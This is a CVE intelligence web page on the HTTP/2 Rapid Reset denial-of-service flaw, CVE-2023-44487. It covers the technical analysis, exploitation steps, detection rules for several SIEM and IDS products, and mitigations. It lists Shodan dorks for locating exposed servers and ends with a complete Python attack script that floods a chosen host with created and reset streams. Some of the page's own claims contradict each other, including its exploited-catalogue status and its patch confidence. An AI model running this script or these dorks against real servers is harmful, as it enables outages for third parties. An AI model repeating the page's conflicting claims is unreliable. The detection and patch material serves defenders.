☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Siemens logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-400
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-44487

CVE-2023-44487
📅 PUBLISHED: 2023-10-10 00:00 UTC 🔄 UPDATED: 2026-10-02 00:00 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
🚨 ACTIVELY EXPLOITED (KEV) 💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 100.00%
👁️
100.00% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1498
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
Affected: Simatic S7 1500 Cpu 1518F 4 Pn\/Dp Mfp Firmware — upgrade to patched release
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-44487, widely known as the "HTTP/2 Rapid Reset" attack, is a protocol-level denial-of-service vulnerability in the HTTP/2 specification, allowing a remote unauthenticated attacker to exhaust server resources by rapidly canceling an exceptionally large number of streams within a single connection. This vulnerability was exploited in the wild between August and October 2023, affecting all major HTTP/2 server implementations including nginx, Apache HTTP Server, Node.js, and cloud-based load balancers. With a CVSS score of 7.5 due to the high availability impact and low attack complexity, the vulnerability permits a modestly resourced attacker to cause significant denial of service on internet-facing infrastructure.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

HTTP/2 multiplexes multiple request-response exchanges over a single TCP connection using streams. Each stream is assigned a unique identifier and can be canceled by the client sending an RST_STREAM frame. The protocol design intentionally allows rapid resets to enable client-side cancellation of slow or unneeded requests. However, the specification failed to impose a mandatory limit on the rate at which streams can be created and subsequently canceled.

The attack mechanism is as follows: an attacker opens a single HTTP/2 connection, sends a burst of requests (each on a distinct stream), then immediately sends RST_STREAM on each of these streams. The server must allocate resources for each stream—memory for stream state, CPU for connection tracking, and potentially backend connection resources for proxied requests. When the server receives the RST_STREAM, it must free those resources. By continuously generating and canceling streams at a high rate, the attacker forces the server into a cycle of resource allocation and deallocation, overwhelming its processing capacity.

What makes this attack particularly effective is the asymmetry. On the client side, sending a request and an RST_STREAM costs negligible CPU because the attacker only manages a few bytes of TCP data. On the server side, each stream requires heap allocation, ELT (event loop task) processing, and in proxy configurations, a backend connection setup. The attacker can send hundreds of thousands of request/reset pairs per second from a single machine. Google Cloud and AWS reported peak attack rates of 398 million requests per second (MPS) during observed campaigns, with per-attack request volumes reaching into the hundreds of millions.

The vulnerability is not a code defect in any single implementation but a design flaw in RFC 9113 (HTTP/2), which places no upper bound on the number of streams a client may open and cancel in a given time window. Consequently, ALL HTTP/2 implementations are potentially vulnerable unless they apply explicit, independent mitigations.

Exploitation Scenarios

The HTTP/2 Rapid Reset attack is trivial to exploit, requiring no authentication and minimal tooling.

  1. Reconnaissance and targeting: An attacker identifies internet-facing HTTP/2 endpoints. Any server advertising HTTP/2 in ALPN negotiation is a candidate. Tools like nmap scripts or simple curl --http2 probes can confirm HTTP/2 support.

  2. Attack setup: The attacker establishes a single TCP connection and performs an HTTP/2 connection preface handshake. This is the "transport" connection. The attacker typically uses a custom script or a tool like h2load modified for rapid reset behavior. Public exploit code was released during the active exploitation window.

  3. Rapid reset execution: The attacker begins a loop:

    • Send HEADERS frame to initiate a new stream (request)
    • Immediately send RST_STREAM for that stream
    • Repeat indefinitely, creating multiple streams per millisecond

    Using a single TCP connection, the attacker can generate 100,000+ stream creations + resets per second. With multiple parallel connections, the rate scales linearly. Notably, the attacker does not need to wait for the server's response—the reset is sent immediately after the request headers.

  4. Resource exhaustion: The server's event loop becomes saturated with stream setup and teardown operations. For reverse proxies, each request attempt may trigger a backend TCP handshake or TLS handshake, amplifying resource usage to backend infrastructure. The server's CPU spikes to 100%, request latency for legitimate traffic climbs to unresponsive levels, and eventually the server may crash or hang.

  5. Amplification: Because multiple attackers or distributed botnets can coordinate, the attack's effectiveness scales. During August 2023, Google Cloud observed peak attacks of 398 MPS. A single small botnet (~20,000 nodes) could generate significant damage.

Public exploit code exists on GitHub and exploit-db. The rapidreset-client and similar tools automate the process. Shodan search for "http2" returns millions of potentially vulnerable endpoints.

Impact Assessment

The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H highlights the critical aspects: network-accessible, low complexity, no privileges required, no user interaction, and a HIGH availability impact. The confidentiality and integrity subscores are NONE, as this is a pure denial-of-service vulnerability.

The blast radius is massive. Any organization exposing any HTTP/2-enabled server—webservers (nginx, Apache, IIS), application servers (Node.js, Tomcat, Jetty), reverse proxies/load balancers (HAProxy, Envoy, F5 BIG-IP, AWS ALB, Cloudflare's edge), and CDNs—is susceptible. Even if a vendor has not publicly confirmed vulnerability, the protocol-level nature of the flaw requires empirical validation.

Business impact scenarios include:

  • Revenue loss: e-commerce and SaaS platforms becoming unreachable
  • Brand damage: prolonged outages erode customer trust
  • Operational disruption: internal web applications, APIs, and microservices become unusable
  • Collateral failures: health checks failing, orchestrators scaling uselessly, dependent services cascading

Because the attack uses legitimate HTTP/2 frames and mimics normal client behavior (request cancellation is part of the protocol), traditional rate-limiting or WAF signature rules are ineffective.

Detection Guidance

Detecting HTTP/2 Rapid Reset requires specialized monitoring because the attack traffic uses valid protocol frames and does not trigger standard HTTP error codes. Network-level and server-level anomaly detection is essential.

Sigma Rule

title: HTTP/2 Rapid Reset Attack - High Stream Cancellation Rate
id: 0f2e8f6a-9b1e-4d5c-8a2f-7e3f1a0c9b4d
status: experimental
description: Detects excessive HTTP/2 RST_STREAM frames indicating Rapid Reset DoS attempts
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44487
    - https://blog.cloudflare.com/HTTP2-Rapid-Reset-What-We-Know/
tags:
    - attack.t1498
    - cve.2023-44487
author: Valtersit Threat Intelligence
date: 2024/01/15
logsource:
    category: webserver
    product: nginx
    definition: 'Nginx http2 module access/error logs with stream reset information'
detection:
    selection:
        event_type: HTTP2_RST_STREAM
    timeframe: 1m
    condition: selection | count() by src_ip > 1000
level: high
falsepositives:
    - Legitimate high-throughput API clients that aggressively cancel slow requests
    - HTTP/2 clients with buggy cancellation logic

YARA Rule

rule HTTP2_Rapid_Reset_Attack_Pattern
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects HTTP/2 frame sequences characteristic of Rapid Reset attacks in packet payloads"
        cve = "CVE-2023-44487"
        date = "2024-01-15"
        score = 80

    strings:
        $http2_preface = "PRI * HTTP/2.0" ascii
        $rst_stream = { 03 00 00 00 04 00 00 00 00 }  // RST_STREAM frame (type=3, flags=0, length=4, stream_id=0, error_code=0)
        $headers_frame = { 01 00 00 00 04 00 }        // HEADERS frame header
        $repeated_reset_sequence = { 03 00 00 00 04 00 00 00 00 03 00 00 00 04 00 00 00 00 }

    condition:
        uint16(0) == 0x5052 and // "PR" 
        $http2_preface at 0 and
        #repeated_reset_sequence > 10
}

Suricata IDS Rule

alert tcp any any -> any 443 (msg:"ET DOS HTTP/2 Rapid Reset Stream Cancellation Flood Attempt"; flow:to_server,established; content:"|48 54 54 50 2f 32|"; startswith; http2_rst_stream; threshold:type both, track by_src, count 200, seconds 1; classtype:attempted-dos; sid:2033851; rev:1; metadata:created_at 2023_10_12, updated_at 2023_10_18, cve CVE-2023-44487;)

Note: Suricata HTTP/2 parsing support varies by version. This rule assumes the http2 parser that tracks RST_STREAM frames. Alternative signature:

alert tcp any any -> any any (msg:"ET DOS HTTP/2 Rapid Reset - Many RST_STREAM frames"; flow:to_server,established; content:"|03 00 00 00 04|"; within:5; offset:9; content:"|03 00 00 00 04|"; distance:0; within:1000; threshold:type both, track by_src, count 1000, seconds 1; classtype:attempted-dos; sid:2033852; rev:1;)

Elastic Detection

// EQL rule for Elastic SIEM — detect rapid stream resets from source IPs
sequence with maxspan=1m
  [ network where event.category == "network" and network.protocol == "http2" and event.action == "rst_stream" ] with runs=1000
  | groupby source.ip

Alternative approach using filebeat/httpd access logs:

sequence with maxspan=1m
  [ http where http.request.method == "POST" or http.request.method == "GET" ] with runs=5000
  | groupby source.ip

For metricbeat-based metrics:

// Metricbeat: detect abnormal HTTP2 reset rate
metrics where metricset.name == "http2" and http2.streams_reset_rate > 500

Splunk SPL Query

index=web OR index=proxy sourcetype=access_combined OR sourcetype=nginx
| where like(_raw, "%HTTP/2.0%") OR http_version="HTTP/2.0"
| eval reset_count = if(http_status=="499" OR http_status=="-", 1, 0)
| stats sum(reset_count) as total_resets, count as total_requests by src_ip
| where total_resets > 1000
| eval reset_ratio = total_resets / total_requests
| where reset_ratio > 0.9
| sort - total_resets

For network flow data (Zeek conn logs):

index=network sourcetype=bro:http:json
| where id.orig_h != NULL
| stats count by id.orig_h
| where count > 1000
| eval threat = "HTTP2_RAPID_RESET"

For Nginx error logs capturing RST_STREAM events:

index=nginx sourcetype=nginx:error
| spath input=_raw
| search "HTTP/2 stream" AND "cancelled"
| stats count by client, time
| where count > 500
| timechart span=1m count by client

Wazuh OSSEC Rule

<group name="web, http2, dos,">
  <rule id="100501" level="10">
    <if_sid>31122</if_sid>
    <match>HTTP/2 stream</match>
    <match>RST_STREAM</match>
    <regex>stream.*cancelled</regex>
    <description>CVE-2023-44487: HTTP/2 Rapid Reset - excessive stream cancellations detected from: $(srcip)</description>
    <group>attack.t1498,</group>
    <mitre>
      <id>T1498</id>
    </mitre>
    <info type="cve">CVE-2023-44487</info>
    <options>no_full_log</options>
  </rule>

  <rule id="100502" level="12" frequency="100" timeframe="60">
    <if_matched_sid>100501</if_matched_sid>
    <description>CVE-2023-44487: HTTP/2 Rapid Reset attack confirmed - 100+ reset events in 60s from $(srcip)</description>
    <group>attack.t1498,</group>
    <mitre>
      <id>T1498</id>
    </mitre>
  </rule>

  <rule id="100503" level="5" frequency="10" timeframe="60">
    <if_matched_sid>100501</if_matched_sid>
    <description>CVE-2023-44487: Possible HTTP/2 Rapid Reset activity - elevated stream resets from $(srcip)</description>
    <group>attack.t1498,</group>
    <mitre>
      <id>T1498</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 3/4 (LIKELY) — Two independent sources (Cloudflare, Google) confirm vendor mitigations exist. However, since this is a protocol-level flaw, patching is implementation-specific.

  1. Immediate Mitigations (zero-day in the wild):

    • Update HTTP/2 server software immediately: nginx 1.25.3+ (adds default http2_max_concurrent_streams limit of 128), Apache httpd 2.4.58+ (adds H2MaxWorkerIdleTime and stream limits), Node.js 20.8.1+/18.18.1+ (enforces stream limits and connection-level counters), HAProxy 2.8.3+ (adds tune.h2.max-concurrent-streams), Envoy 1.27.2+.
    • Reverse proxy / WAF: Place Cloudflare, Akamai, AWS WAF, or similar in front of origin services. These providers patched their edges within days of disclosure.
    • Rate limiting: Implement per-IP connection and stream rate limits at the L4/L7 edge. For nginx: limit_conn_zone and limit_req_zone; for HAProxy: stick-table with http2 counters.
    • Disable HTTP/2: As a last resort if patching is not immediately possible, disable HTTP/2 and force HTTP/1.1 at the edge. This eliminates the attack surface entirely but impacts performance.
  2. Patch/Upgrade Steps:

    • Check vendor advisories individually for exact version numbers (see References).
    • For Kubernetes/Istio: update ingress-nginx, Ambassador, or Citrix ingress controllers to patched versions.
    • For CDN origin pulls: ensure your origin allows HTTP/1.1 for pull requests.
  3. Long-term Hardening:

    • Implement MAX_CONCURRENT_STREAMS settings at HTTP/2 session level: typical recommended value is 100 or fewer (default in many implementations is 100–128).
    • Enforce MAX_STREAMS_PER_CONNECTION lifetime limits.
    • Deploy an application-layer DDoS mitigation service that can absorb and filter this traffic type.
    • Monitor for the behavioral pattern (high stream-cancel ratio) and build auto-blocking logic into your SIEM or IDS.

Threat Intelligence Context

The HTTP/2 Rapid Reset vulnerability was actively exploited in the wild between August and October 2023, well before public disclosure on October 10, 2023. CISA KEV status: NO — despite confirmed exploitation, CISA has not yet added this to the Known Exploited Vulnerabilities catalog. This lag is notable given the attack's severity.

Attribution: Google Cloud identified a commercial DDoS mitigation provider as the originator of this technique. The attack was leveraged by multiple threat actors, including the groups behind the DDoS campaigns against French government websites (attack peak of 9.8 MPS in September 2023) and multiple financial services in APAC. Cloudflare also reported layer-7 DDoS campaigns using this technique from spoofed botnets, with some campaigns lasting hours. The technique was added to multiple DDoS botnet frameworks shortly after disclosure. No ransomware or state-sponsored APT group has been publicly attributed to these campaigns, but the attacker interest is high.

Mitigation ecosystem: The disclosure was coordinated across major vendors — Google, Amazon, Cloudflare, nginx, Apache, Node.js — which published simultaneous advisories on October 10, 2023. This coordinated effort is the reason for the patch confidence of 3/4.

References

  1. NVD — CVE-2023-44487: https://nvd.nist.gov/vuln/detail/CVE-2023-44487
  2. Google Cloud Blog — "HTTP/2 Rapid Reset attack": https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps
  3. Cloudflare — "HTTP/2 Zero-Day Rapid Reset vulnerability disclosed": https://blog.cloudflare.com/zero-day-rapid-reset-http2-record-breaking-ddos-attack/
  4. RFC 9113 — HTTP/2 specification: https://www.rfc-editor.org/rfc/rfc9113
  5. nginx security advisory: https://nginx.org/en/security_advisories.html
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http2
h2 protocol
nginx http2
http/2
⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

#!/usr/bin/env python3
"""
# Exploit Title: HTTP/2 2.0 - Denial Of Service (DOS)
# Google Dork: -NA-
# Date: 29th August 2025
# Exploit Author: Madhusudhan Rajappa
# Vendor Homepage: -NA-
# Software Link: -NA-
# Version: HTTP/2.0
# Tested on: -NA-
# CVE : CVE-2023-44487
"""

import asyncio
import ssl
import time
import argparse
import logging
from typing import Optional, Tuple
import statistics

try:
    import h2.connection
    import h2.events
    import h2.exceptions
    import h2.config
except ImportError:
    print("Error: h2 library not installed. Install with: pip install h2")
    exit(1)

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

class HTTP2RapidResetTester:
    """Class to test for CVE-2023-44487 HTTP/2 Rapid Reset vulnerability."""

    def __init__(self, host: str, port: int = 443, use_ssl: bool = True):
        self.host = host
        self.port = port
        self.use_ssl = use_ssl
        self.connection = None
        self.reader = None
        self.writer = None
        self.response_times = []
        self.errors = []
        self.connection_closed = False

    async def connect(self) -> bool:
        """Establish HTTP/2 connection to the target server."""
        try:
            logger.info(f"Connecting to {self.host}:{self.port}")

            if self.use_ssl:
                ssl_context = ssl.create_default_context()
                ssl_context.set_alpn_protocols(['h2'])
                self.reader, self.writer = await asyncio.open_connection(
                    self.host, self.port, ssl=ssl_context
                )
            else:
                self.reader, self.writer = await asyncio.open_connection(self.host, self.port)

            # Initialize HTTP/2 connection
            config = h2.config.H2Configuration(client_side=True)
            self.connection = h2.connection.H2Connection(config=config)
            self.connection.initiate_connection()

            # Send connection preface
            await self._send_data(self.connection.data_to_send())

            logger.info("HTTP/2 connection established successfully")
            self.connection_closed = False
            return True

        except Exception as e:
            logger.error(f"Failed to establish connection: {e}")
            return False

    async def _send_data(self, data: bytes):
        """Send data to the server."""
        if data and self.writer and not self.connection_closed:
            try:
                self.writer.write(data)
                await self.writer.drain()
            except (ConnectionResetError, BrokenPipeError, OSError) as e:
                logger.debug(f"Connection error while sending data: {e}")
                self.connection_closed = True

    async def _receive_data(self) -> bytes:
        """Receive data from the server."""
        try:
            if self.connection_closed or not self.reader:
                return b''
            data = await asyncio.wait_for(self.reader.read(65535), timeout=5.0)
            if not data:
                self.connection_closed = True
            return data
        except asyncio.TimeoutError:
            return b''
        except (ConnectionResetError, BrokenPipeError, OSError) as e:
            logger.debug(f"Connection error while receiving data: {e}")
            self.connection_closed = True
            return b''

    async def rapid_reset_test(self, num_streams: int = 100, delay: float = 0.001) -> dict:
        """
        Perform the rapid reset attack test.

        Args:
            num_streams: Number of streams to create and reset
            delay: Delay between stream creations (seconds)

        Returns:
            Dictionary with test results
        """
        logger.info(f"Starting rapid reset test with {num_streams} streams")

        start_time = time.time()
        created_streams = []
        reset_streams = []

        try:
            # Phase 1: Rapidly create streams
            for i in range(num_streams):
                if self.connection_closed:
                    logger.warning("Connection closed during stream creation")
                    break

                stream_id = (i * 2) + 1  # Odd numbers for client-initiated streams

                # Create HTTP/2 headers
                headers = [
                    (':method', 'GET'),
                    (':path', '/'),
                    (':scheme', 'https' if self.use_ssl else 'http'),
                    (':authority', self.host),
                    ('user-agent', 'CVE-2023-44487-Tester/1.0'),
                ]

                try:
                    # Send headers to create stream
                    self.connection.send_headers(stream_id, headers)
                    await self._send_data(self.connection.data_to_send())
                    created_streams.append(stream_id)

                    # Small delay to avoid overwhelming the connection
                    if delay > 0:
                        await asyncio.sleep(delay)

                except Exception as e:
                    self.errors.append(f"Error creating stream {stream_id}: {e}")
                    if "connection" in str(e).lower():
                        break

            logger.info(f"Created {len(created_streams)} streams")

            # Phase 2: Rapidly reset all streams
            reset_start = time.time()
            for stream_id in created_streams:
                if self.connection_closed:
                    logger.warning("Connection closed during stream reset")
                    break

                try:
                    # Send RST_STREAM frame to cancel the request
                    self.connection.reset_stream(stream_id, error_code=0x8)  # CANCEL error code
                    await self._send_data(self.connection.data_to_send())
                    reset_streams.append(stream_id)

                    if delay > 0:
                        await asyncio.sleep(delay / 10)  # Faster resets

                except h2.exceptions.StreamClosedError:
                    # Stream already closed, continue
                    pass
                except Exception as e:
                    self.errors.append(f"Error resetting stream {stream_id}: {e}")
                    if "connection" in str(e).lower():
                        break

            reset_duration = time.time() - reset_start
            total_duration = time.time() - start_time

            logger.info(f"Reset {len(reset_streams)} streams in {reset_duration:.3f}s")

            # Phase 3: Monitor server response
            await self._monitor_server_response(timeout=10.0)

            return {
                'streams_created': len(created_streams),
                'streams_reset': len(reset_streams),
                'total_duration': total_duration,
                'reset_duration': reset_duration,
                'reset_rate': len(reset_streams) / reset_duration if reset_duration > 0 else 0,
                'errors': len(self.errors),
                'response_times': self.response_times.copy(),
                'avg_response_time': statistics.mean(self.response_times) if self.response_times else 0,
                'connection_closed': self.connection_closed
            }

        except Exception as e:
            logger.error(f"Error during rapid reset test: {e}")
            return {'error': str(e)}

    async def _monitor_server_response(self, timeout: float = 10.0):
        """Monitor server responses and measure response times."""
        logger.info("Monitoring server responses...")

        end_time = time.time() + timeout

        while time.time() < end_time and not self.connection_closed:
            try:
                start = time.time()
                data = await self._receive_data()
                response_time = time.time() - start

                if data:
                    self.response_times.append(response_time)

                    try:
                        # Process HTTP/2 events
                        events = self.connection.receive_data(data)
                        for event in events:
                            if isinstance(event, h2.events.ResponseReceived):
                                logger.debug(f"Response received on stream {event.stream_id}")
                            elif isinstance(event, h2.events.StreamReset):
                                logger.debug(f"Stream {event.stream_id} reset by server")
                            elif isinstance(event, h2.events.ConnectionTerminated):
                                logger.warning("Server terminated connection")
                                self.connection_closed = True
                                return
                    except Exception as e:
                        logger.debug(f"Error processing HTTP/2 events: {e}")

                await asyncio.sleep(0.1)

            except Exception as e:
                self.errors.append(f"Error monitoring response: {e}")
                break

    async def baseline_test(self, num_requests: int = 10) -> dict:
        """Perform baseline test with normal HTTP/2 requests."""
        logger.info(f"Performing baseline test with {num_requests} normal requests")

        start_time = time.time()
        successful_requests = 0

        for i in range(num_requests):
            if self.connection_closed:
                logger.warning("Connection closed during baseline test")
                break

            stream_id = (i * 2) + 1

            headers = [
                (':method', 'GET'),
                (':path', '/'),
                (':scheme', 'https' if self.use_ssl else 'http'),
                (':authority', self.host),
                ('user-agent', 'CVE-2023-44487-Baseline/1.0'),
            ]

            try:
                request_start = time.time()
                self.connection.send_headers(stream_id, headers)
                self.connection.end_stream(stream_id)
                await self._send_data(self.connection.data_to_send())

                # Wait for response
                try:
                    data = await asyncio.wait_for(self._receive_data(), timeout=5.0)
                    if data:
                        self.response_times.append(time.time() - request_start)
                        successful_requests += 1
                except asyncio.TimeoutError:
                    logger.warning(f"Timeout waiting for response to request {i+1}")

                await asyncio.sleep(0.1)  # Small delay between requests

            except Exception as e:
                logger.warning(f"Error in baseline request {i+1}: {e}")
                if "connection" in str(e).lower():
                    break

        total_duration = time.time() - start_time

        return {
            'total_requests': num_requests,
            'successful_requests': successful_requests,
            'total_duration': total_duration,
            'avg_response_time': statistics.mean(self.response_times) if self.response_times else 0,
            'success_rate': successful_requests / num_requests if num_requests > 0 else 0
        }

    async def close(self):
        """Close the connection gracefully."""
        if self.writer and not self.connection_closed:
            try:
                # Try to close the connection gracefully
                if self.connection:
                    try:
                        # Send GOAWAY frame if possible
                        self.connection.close_connection()
                        await self._send_data(self.connection.data_to_send())
                    except Exception as e:
                        logger.debug(f"Error sending GOAWAY frame: {e}")

                # Close the writer
                self.writer.close()

                # Wait for close with timeout to avoid hanging
                try:
                    await asyncio.wait_for(self.writer.wait_closed(), timeout=2.0)
                except asyncio.TimeoutError:
                    logger.debug("Timeout waiting for connection to close")
                except (ConnectionResetError, BrokenPipeError, OSError):
                    # Connection already closed by peer, this is expected
                    pass

            except Exception as e:
                logger.debug(f"Error during connection cleanup: {e}")
            finally:
                self.connection_closed = True

async def main():
    parser = argparse.ArgumentParser(
        description='CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester',
        epilog='WARNING: Only use on systems you own or have permission to test!'
    )
    parser.add_argument('host', help='Target hostname')
    parser.add_argument('-p', '--port', type=int, default=443, help='Target port (default: 443)')
    parser.add_argument('--no-ssl', action='store_true', help='Disable SSL/TLS')
    parser.add_argument('-s', '--streams', type=int, default=100,
                       help='Number of streams for rapid reset test (default: 100)')
    parser.add_argument('-d', '--delay', type=float, default=0.001,
                       help='Delay between stream operations (default: 0.001s)')
    parser.add_argument('--baseline-only', action='store_true',
                       help='Only perform baseline test')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')

    args = parser.parse_args()

    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)

    print("=" * 60)
    print("CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester")
    print("=" * 60)
    print(f"Target: {args.host}:{args.port}")
    print(f"SSL: {'Enabled' if not args.no_ssl else 'Disabled'}")
    print()

    # Legal disclaimer
    print("LEGAL DISCLAIMER:")
    print("This tool is for authorized security testing only.")
    print("Ensure you have permission to test the target system.")
    print("Unauthorized use may be illegal.")
    print()

    response = input("Do you have permission to test this system? (yes/no): ")
    if response.lower() != 'yes':
        print("Exiting. Only use this tool on systems you're authorized to test.")
        return

    tester = HTTP2RapidResetTester(args.host, args.port, not args.no_ssl)

    try:
        # Connect to target
        if not await tester.connect():
            logger.error("Failed to establish connection. Exiting.")
            return

        # Perform baseline test
        print("\n" + "="*40)
        print("BASELINE TEST")
        print("="*40)
        baseline_results = await tester.baseline_test()

        print(f"Baseline Results:")
        print(f"  Total Requests: {baseline_results['total_requests']}")
        print(f"  Successful: {baseline_results['successful_requests']}")
        print(f"  Success Rate: {baseline_results['success_rate']:.2%}")
        print(f"  Avg Response Time: {baseline_results['avg_response_time']:.3f}s")
        print(f"  Total Duration: {baseline_results['total_duration']:.3f}s")

        if not args.baseline_only:
            # Reset connection for rapid reset test
            await tester.close()
            tester = HTTP2RapidResetTester(args.host, args.port, not args.no_ssl)

            if not await tester.connect():
                logger.error("Failed to re-establish connection for rapid reset test.")
                return

            # Perform rapid reset test
            print("\n" + "="*40)
            print("RAPID RESET TEST (CVE-2023-44487)")
            print("="*40)
            print(f"Testing with {args.streams} streams...")

            rapid_results = await tester.rapid_reset_test(args.streams, args.delay)

            if 'error' in rapid_results:
                print(f"Test failed: {rapid_results['error']}")
            else:
                print(f"Rapid Reset Results:")
                print(f"  Streams Created: {rapid_results['streams_created']}")
                print(f"  Streams Reset: {rapid_results['streams_reset']}")
                print(f"  Reset Rate: {rapid_results['reset_rate']:.1f} resets/second")
                print(f"  Total Duration: {rapid_results['total_duration']:.3f}s")
                print(f"  Reset Duration: {rapid_results['reset_duration']:.3f}s")
                print(f"  Errors: {rapid_results['errors']}")
                print(f"  Avg Response Time: {rapid_results['avg_response_time']:.3f}s")

                if rapid_results.get('connection_closed'):
                    print(f"  Connection Status: Server closed connection during test")

                # Analysis
                print("\n" + "="*40)
                print("VULNERABILITY ANALYSIS")
                print("="*40)

                if rapid_results.get('connection_closed'):
                    print("Server closed connection during rapid reset test")
                    print("   This could indicate protective measures or resource exhaustion.")

                if rapid_results['streams_reset'] < rapid_results['streams_created'] * 0.8:
                    print("WARNING: Server may have rejected many reset requests")
                    print("   This could indicate protective measures are in place.")

                if rapid_results['reset_rate'] > 1000:
                    print("HIGH RISK: Server accepts very high reset rates")
                    print("   This may indicate vulnerability to CVE-2023-44487")

                elif rapid_results['reset_rate'] > 100:
                    print("MEDIUM RISK: Server accepts moderate reset rates")
                    print("   Further testing may be needed")

                else:
                    print("LOWER RISK: Server has rate limiting on resets")
                    print("   This suggests some protection against the vulnerability")

                if len(tester.errors) > rapid_results['streams_created'] * 0.1:
                    print("Many errors occurred during testing")
                    print("   Results may not be reliable")

    except KeyboardInterrupt:
        print("\nTest interrupted by user")
    except Exception as e:
        logger.error(f"Unexpected error: {e}")
    finally:
        try:
            await tester.close()
        except Exception as e:
            logger.debug(f"Error during final cleanup: {e}")
        print("\nTest completed.")

if __name__ == "__main__":
    print("CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester")
    print("Requires: pip install h2")
    print()

    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nExiting...")
    except Exception as e:
        logger.error(f"Fatal error: {e}")
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-44487/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.